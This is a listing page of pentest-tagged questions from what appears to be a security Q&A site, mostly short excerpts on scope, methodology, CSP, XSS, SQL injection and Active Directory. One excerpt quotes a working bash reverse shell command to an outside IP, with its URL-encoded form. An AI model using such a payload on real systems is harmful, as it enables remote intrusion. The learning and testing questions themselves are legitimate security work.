Questions tagged [penetration-test]

An attempt to penetrate a system's security in an effort to evaluate the protections in place.

Filter by
Sorted by
Tagged with
1 vote
1 answer
47 views

Abusing Shell Feature for Privilege Escalation

This was covered in Linux PrivEsc, task 15, in this TryHackMe room. I am having trouble understanding how this debugging mode is executing the commands in the PS4 variable, and why I must put /usr/...
user avatar
1 vote
0 answers
40 views

Is there any guideline or procedure for 4G hardware equipement (4G landline phone and home Wifi router) security audit/assessment?

I need to perform a security audit/assessment on 4G LTE hardware equimements : 4G landline wireless phone (not android OS but with many features such as WiFi hotspot) 4G Wifi home router Is there ...
user avatar
  • 359
0 votes
1 answer
53 views

Should a standard user in a AD domain be able to open cmd prompt as Administrator?

I was given a standard non-admin user and a workstation to perform internal pentest assessment. To my surprise, I was able to open cmd prompt as administrator, use psexec and gain a SYSTEM shell ...
user avatar
  • 115
0 votes
1 answer
33 views

How to bypass XMLRPC lockout policy?

I'm trying to pentest a Wordpress box that has the XMLRPC endpoint enabled, but it seems to have additional security measures in place that institute IP-based lockout for 24 hours after one failed ...
user avatar
0 votes
1 answer
141 views

Run Responder using proxychains on a remote network

Is it possible to run Responder as a flag in the proxychains program when I do some penetration testing activities, such as nmap and crackmapexec in the enumeration process? Responder command example :...
user avatar
-2 votes
1 answer
86 views

What are the official phases of penetration testing? [duplicate]

I tried to search for the phases of penetration testing, but I found lots of articles, and each article defines this in a different way, some have 5 phases, some 6, and others 7! What I am looking for ...
user avatar
0 votes
0 answers
43 views

Risk to perform a Penetration Testing in production environment

Let's say I have a web server exposed on Internet that deals with confidential data and it has high requirements in terms of integrity and availability. What are the risks to perform a penetration ...
user avatar
  • 101
0 votes
0 answers
29 views

How to Scan Firebase Database?

I have the APK of an application and analyzed it using MobSF static analysis. It says the application talks with Firebase Database and provides a URL. Obviously, the URL is not accessible. I am new to ...
user avatar
1 vote
1 answer
70 views

Defining scope of a software pen test

If I own a software and I want to conduct a pen test with pen testers, should I define the scope or do the pen testers assess the software first and they define the scope? How does scope definition ...
user avatar
0 votes
1 answer
95 views

Scanning for SMBGhost vulnerability

I am a university student currently trying to demonstrate exploitation of the SMBGhost Vulnerability on Windows 10 (Version: 1903, Build Number: 18362.356). I need to provide evidence that the ...
user avatar
0 votes
1 answer
39 views

What is the wisdom of using the ASCII function in exploit SQLi?

I mean, I can exploit the vulnerability using a substring function and without using an ASCII function like: SELECT username FROM users WHERE id = 1 AND (SELECT substring(password,1,1) FROM users ...
user avatar
0 votes
0 answers
22 views

Disguising Device Information During IP and Open Port Scans

I am getting into the field of penetration testing and had a question about device information scans. I know that you can scan all of the devices on a network and scan for open ports, and in the ...
user avatar
0 votes
1 answer
76 views

TGS Ticket in Kerberoasting

In kerberoasting , User request service ticket for any service with registered SPN then use the ticket to crack service password. But in kerberoses authentication process , KRB_TGS_REQ request is ...
user avatar
0 votes
0 answers
12 views

Abusing Saved mscash2 Credentials in Active Directory

Is it possible, with NT Authority/SYSTEM access, to reuse mscash2 credentials in any way on a local system or AD network? Perhaps with runas /savecred or mimikatz or something similar? I know that the ...
user avatar
2 votes
2 answers
69 views

File inclusion exposed passwords

I am confused about LFI where I have seen many broken web-app demos demonstrate LFI where they traverse to a directory similar to /etc/passwd. How are these passwords being stored exactly? I do not ...
user avatar
  • 197
0 votes
0 answers
31 views

Penetration Testing of a Web Page instead of whole site

I am interested in testing a website's new feature which is available on a single a web page (addition in original website) and have some editable fields. Other than checking input validation on those ...
user avatar
  • 201
2 votes
1 answer
81 views

Which CSP implementation is more secure?

While implementing CSP, there are two options. Implement CSP in the HTTP response header Implement CSP using a meta tag <meta http-equiv="Content-Security-Policy" content="default-...
user avatar
0 votes
0 answers
70 views

Web Attack Chaining - Follow Up Attack from a Single Vulnerability

I am a blue team security researcher looking into preventing web-based attacks. For manual pentesting, we can tell that a certain vulnerability is likely to be present if another vuln is detected e.g. ...
user avatar
  • 101
0 votes
1 answer
68 views

Is this CSP implementation is secure?

I face a CSP header something like this - default-src https:; font-src https: data:; img-src https: data:; script-src https: 'unsafe-inline' 'unsafe-eval'; style-src https: 'unsafe-inline'; So is this ...
user avatar
0 votes
1 answer
132 views

Detecting XSS when Payload is only Triggered on Another Page

I am trying to detect the presence of a blind/stored XSS vulnerability of an input field. The vulnerability does not trigger on page 'A' where the payload is injected. It is likely due to the fact ...
user avatar
  • 101
0 votes
0 answers
92 views

sh reverse shell used to work as of an hour ago but nowthe server returns 500 Internal Server Error. Please take a look at my GET request and response

This is the reverse shell I'm using: sh -i >& /dev/tcp/10.10.14.106/3000 0>&1 and URL encoded is sh+-i+>%26+/dev/tcp/10.10.XX.XX/3000+0>%261+ It used to work just fine and I'd ...
user avatar
0 votes
0 answers
83 views

cookie forging: How to replace session cookies

I am working on a pen-testing challenge, where I want to see if the session cookie can be forged by leveraging the vulnerable flask application (i can't disclose the url due to agreement). I have been ...
user avatar
  • 101
0 votes
0 answers
321 views

Ignore blacklist characters and keywords in SSTI exploit payload

I'm exploiting an SSTI (server-side template insertion) vulnerability in a website written in flask-python. My problem is that payload for RCE is being limited by blacklist. I tried everything with a ...
user avatar
  • 1
0 votes
1 answer
91 views

Benefits of same origin policy

I am trying to understand what does SOP mean? If there are two sites such as example1.com and examole2.com what are the dangers can one of them cause to the other? Like stealing what, received what?...
user avatar
0 votes
1 answer
118 views

Some introductory reverse engineering help on finding a string

I understand the crackme I am researching is from 2007, however this was the point in my life when I initially became interested in reverse engineering and wish to complete it for nostalgia sake. ...
user avatar
0 votes
1 answer
125 views

Verifying IP addresses during pentest

When conducting an external pentest and the scope is broad covering everything owned by the client, how would you verify if the enumerated IP addresses belong to a client? Running 'nslookup' on the IP ...
user avatar
  • 155
0 votes
0 answers
91 views

Requiring Google Mobile Service token

I'm pentesting an android application written in Cordova and while inspecting the network traffic I found some interesting endpoint that I would like to test. However, this endpoint need a tokenID (ex....
user avatar
  • 101
0 votes
0 answers
195 views

Is it possibile to interact with firebase database using credentials obtained from an APK?

during the static analysis while pentesting an android application I found the following information to connect to a firebase instance. <string name="google_app_id">1:**REDACTED**:...
user avatar
  • 101
0 votes
1 answer
230 views

Should analytics cookies be HttpOnly?

Should ga gid gat and Fbp cookies be flagged as Secure and HttpOnly? Is there a way an attacker can use them if accessed?
user avatar
0 votes
2 answers
247 views

Why is it not worth to exploit a search function on a website

I have a website that has a search function that uses the GET method. It returns in the url that "www.xxx.com/query?=something" Would like to seek opinions on why such a function is not ...
user avatar
2 votes
0 answers
112 views

Does Windows Server ship with any sensitive images in the filesystem?

I'm working with an interesting vulnerability I found which enables local file inclusion (LFI) on a target server. In summary, there is a PDF generation API endpoint which accepts an HTML string as ...
user avatar
  • 21
1 vote
1 answer
108 views

How to perform external network scans that will not cause DoS?

What are some tools or techniques that could be used in external network penetration testing to perform safe scans only that are designed to cause no DoS (Denial of Service) or other interruptions? Or ...
user avatar
  • 11
0 votes
1 answer
543 views

How to pentest oAuth2/oidc clients

imagine the following problem: As a developer, I would like to check if my oAuth2 or OpenID Connect client is really secure. I would like to check if it validates the JWT signature, uses the nonce etc....
user avatar
  • 2,403
11 votes
2 answers
4k views

Tips on performing a web penetration testing on a static website

No idea where to begin, I would like to ask for tips, direction and approaches when it comes to performing such a web testing. Source code analysis is not within scope for this test. I intend to run ...
user avatar
0 votes
2 answers
179 views

CSRF attack when form data isn't parsed

How can you do a CRSF attack on express if it only accepts JSON? Sample Node app: const express = require('express'); const app = express(); app.use(express.json()); app.post('/item', (req, res, ...
user avatar
1 vote
1 answer
185 views

Ways to exploit AD in context of Domain Computer account not as Domain user account?

There are hundreds of articles if we search "how to exploit AD Environment?" but if you read them, you will find that every article focuses on the context of the domain user Account. Now I ...
user avatar
3 votes
1 answer
2k views

Stored XSS Cookie Stealing - shortest payload

I'm testing a web app (for which I have permissions) and I found a stored XSS vulnerability. It is a little bit tricky to exploit because the input: is being capitalized it has a length constraint of ...
user avatar
  • 133
1 vote
2 answers
196 views

What is a secure way to log onto the domain controller?

On a pentest we found that a kerberos ticket under account name administrator was cached on one of the SQL database servers, which allowed us to steal the ticket, pass-the-ticket and log onto the ...
user avatar
  • 475
14 votes
1 answer
4k views

SQL injection inside XSS

Is it possible to perform an SQL injection inside an XSS attack? And if so, where can I find information on this or some examples?
user avatar
  • 243
2 votes
1 answer
282 views

Identify crash-inducing NVT in OpenVAS

I'm currently scanning a network using OpenVAS / Greenbone Security Assistant installed on Kali Linux. During the scan, multiple targets have crashed. This is obviously something I want to investigate....
user avatar
  • 73
1 vote
0 answers
136 views

How to pentest a java application run through webswing?

I need to pentest a Java application through webswing. webswing allows running a java application in a web browser but how to pentest this? I didn't find any documentation about this actually. With my ...
user avatar
  • 259
3 votes
1 answer
162 views

How to create custom exploit https requests to test a PHP framework [closed]

I am working on the auto-routing functionality of Codeigniter 4 and I'd like to test it by sending some nasty exploit-type HTTPS requests to make sure it properly resists mischief. E.g., request a uri ...
user avatar
  • 206
0 votes
1 answer
82 views

How to handle as a Tester if the website is kicking out the user for recreating the session?

Suppose a website is logging out the user after some time to re-create the session and start using the website. As the security tester, how will you handle this situation? Isn't it frustrating? Yes! ...
user avatar
1 vote
0 answers
136 views

Automating Clickjacking Attack

I found a clickjacking issue in a site and the site security team said me that i would require unusual user interaction. So I wrote a code above the iframe but I was not successful in achieving it. ...
user avatar
0 votes
0 answers
511 views

How can I test if/how STIR/SHAKEN is working on my incoming calls? Both for detecting spoofed caller ID AND [bad sources]

How can I test if/how STIR/SHAKEN is working on my incoming calls? Both for detecting spoofed caller ID AND calls from disreputable (NON-'A' attestation) service providers/carriers/sources. I'm ...
user avatar
2 votes
2 answers
440 views

Why is the first step for an attacker to get Reverse Shell after getting RCE?

If someone is having a Remote Code Execution, that means, one can run the commands on the server, then why does he need to get the Reverse Shell? Even though I can run system commands, then why do I ...
user avatar
0 votes
1 answer
198 views

how to do a pentest to /assets/js/login.js [closed]

Hey guys this is my first question in this kind of platform. I made a pentest a vulnerable machine this is like a web page video content there are not much target vectors. In my attack a detect only ...
user avatar
  • 1
0 votes
0 answers
168 views

Pentest methodology for industrial solutions PLC/DCS/Control Servers

which methodology of pentesting for industrial soltions (DCS/SCADA/PLC/Cotroler Servers network with OPC connectivity) would you recommend to apply?
user avatar
  • 1
0 votes
2 answers
125 views

When can I start security test in an agile environment? [closed]

I have a web application and we are working in an agile environment, and the QC team working and need to run security testing. When I can run the security test? I searched for this topic and can't ...
user avatar
20 votes
3 answers
4k views

How can we safely allow a client to perform penetration testing?

A potential client is planning to do penetration testing on our SaaS. Is it standard or fair for us to request things like the following? An NDA from the pen tester Details on who is performing the ...
user avatar
  • 303

1
2 3 4 5
26